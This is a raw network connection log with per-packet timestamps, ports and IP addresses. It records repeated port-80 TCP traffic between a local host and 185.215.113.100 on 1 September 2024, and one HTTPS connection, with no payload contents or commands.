Sep 1, 2024 05:09:27.446429014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446443081 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446444988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446455002 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446484089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446572065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446582079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446619034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446634054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446644068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446654081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446665049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446680069 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446702957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446790934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446800947 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446810961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446820974 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446830988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446841002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446850061 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446856976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446876049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446876049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446897030 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446919918 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446929932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.446959019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.446970940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447120905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447132111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447141886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447153091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447161913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447173119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447181940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447185040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447196007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447206020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447206020 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447217941 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447223902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447228909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447237968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447246075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447249889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447262049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447263002 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447288036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447305918 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447463989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447474957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447484016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447494984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447504997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447511911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447515011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447530985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447552919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447688103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447698116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447707891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447719097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447729111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447738886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447742939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447753906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447758913 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447765112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447767973 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447777033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447796106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447813034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.447982073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.447993040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448002100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448024035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448038101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448044062 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448051929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448065042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448066950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448076010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448084116 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448086977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448097944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448108912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448107958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448118925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448122025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448136091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448136091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448148012 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448149920 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448159933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448174953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448177099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448182106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448200941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448221922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448467016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448478937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448514938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448537111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448678017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448700905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448712111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448720932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448733091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448741913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448745012 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448751926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448761940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448766947 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448776960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448779106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448786974 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448796034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448797941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448811054 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448832989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448841095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448849916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448858976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448868036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448904037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.448990107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.448999882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449008942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449018002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449023962 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.449027061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449035883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449044943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449053049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.449057102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449064970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449074030 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.449074984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449084044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449088097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.449093103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.449101925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.449121952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.449137926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.532816887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.532825947 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.532841921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.532876015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.532883883 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.532960892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.532970905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.532987118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.532994986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533008099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533009052 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533018112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533027887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533037901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533037901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533071041 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533087969 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533098936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533113956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533123970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533133030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533142090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533150911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533164024 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533195019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533216953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533226013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533250093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533260107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533269882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533269882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533269882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533279896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533287048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533296108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533324003 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533344030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533380032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533463001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533473015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533478975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533483982 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533493042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533502102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533514023 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533557892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533685923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533695936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533705950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533715010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533720016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533727884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533734083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533736944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533742905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533752918 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533776045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533792973 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533830881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533907890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533919096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533927917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533937931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.533946037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533967018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.533997059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534168005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534177065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534187078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534195900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534204960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534214020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534225941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534226894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534238100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534248114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534248114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534257889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534267902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534276009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534279108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534285069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534296036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534296036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534308910 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534326077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534516096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534526110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534533978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534543037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534559011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534565926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534570932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534579992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534584999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534589052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534595966 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534598112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534607887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534617901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534622908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534646988 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534655094 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534843922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534853935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534862995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534872055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534882069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534890890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534898996 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534899950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534909964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534913063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534919977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534929037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.534940958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534953117 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.534970045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535165071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535175085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535188913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535197973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535207033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535218000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535233974 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535234928 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535248995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535273075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535310984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535320044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535329103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535339117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535347939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535363913 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535382032 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535442114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535451889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535460949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535470963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535479069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535481930 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535489082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535499096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535506010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535510063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535517931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535528898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535530090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535547018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535569906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535763025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535773039 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535782099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535790920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535799980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535835028 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535845041 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535871029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535881042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535890102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535898924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535907030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535917044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535917997 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535924911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535933971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535936117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535943985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535953045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.535954952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.535970926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.536000967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.584768057 CEST	49789	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.619803905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.619813919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.619823933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.619868994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.619874001 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.619879007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.619888067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.619896889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.619905949 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.619925022 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.619942904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.619960070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.620003939 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.620014906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.620033026 CEST	80	49742	185.215.113.100	192.168.2.4
